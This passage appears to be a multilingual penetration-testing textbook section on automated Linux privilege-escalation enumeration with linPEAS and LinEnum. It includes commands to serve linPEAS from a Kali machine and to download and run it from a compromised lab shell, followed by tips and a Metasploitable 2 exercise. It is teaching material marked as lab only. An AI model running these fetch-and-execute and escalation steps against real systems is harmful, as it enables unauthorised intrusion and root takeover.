26.4 Automated Enumeration: linPEAS and LinEnum
Manual commands changle, pan linPEAS ani LinEnum he scripts sagli tapasani aapoaap kartat ani sambhavya escalation paths highlight kartat (rangit output madhe).
# on Kali: serve the script; on the target: download and run (lab only)
# Kali:
cd /usr/share/peass/linpeas 2>/dev/null || echo "install: sudo apt install peass"
python3 -m http.server 8000
# target (the compromised lab shell):
cd /tmp
wget http://192.168.56.10:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_out.txt # read the RED/YELLOW highlights
# LinEnum is similar:
./LinEnum.sh -t
linPEAS marks the most promising findings in colour (red/yellow = likely escalation). It checks sudo rights, SUID, cron, writable files, passwords in files, kernel version and much more – in seconds.
Ravindra Bagale's Tip
linPEAS produces a lot of output and students panic. Look at the red/yellow highlights first – those are the real leads. And always run the script from /tmp (you have write permission there). Automated tool first, then confirm manually.
Ravindra Bagale's Tip – मराठी
linPEAS खूप output देतो – students घाबरतात. फक्त red/yellow highlights आधी बघा, तेच खरे leads असतात. आणि script नेहमी /tmp मधून चालवा (तिथे write permission असते). Automated tool आधी, मग manual confirm.
Ravindra Bagale's Tip – हिंदी
linPEAS बहुत output देता है – students घबरा जाते हैं. पहले सिर्फ़ red/yellow highlights देखो, वही असली leads होते हैं. और script हमेशा /tmp से चलाओ (वहाँ write permission होती है). Automated tool पहले, फिर manual confirm.
Lab
Run linPEAS on Metasploitable 2 from your Chapter 23 shell. List the top three red/yellow findings and, for one of them, escalate to root manually. Compare what linPEAS found with your manual enumeration from 26.2.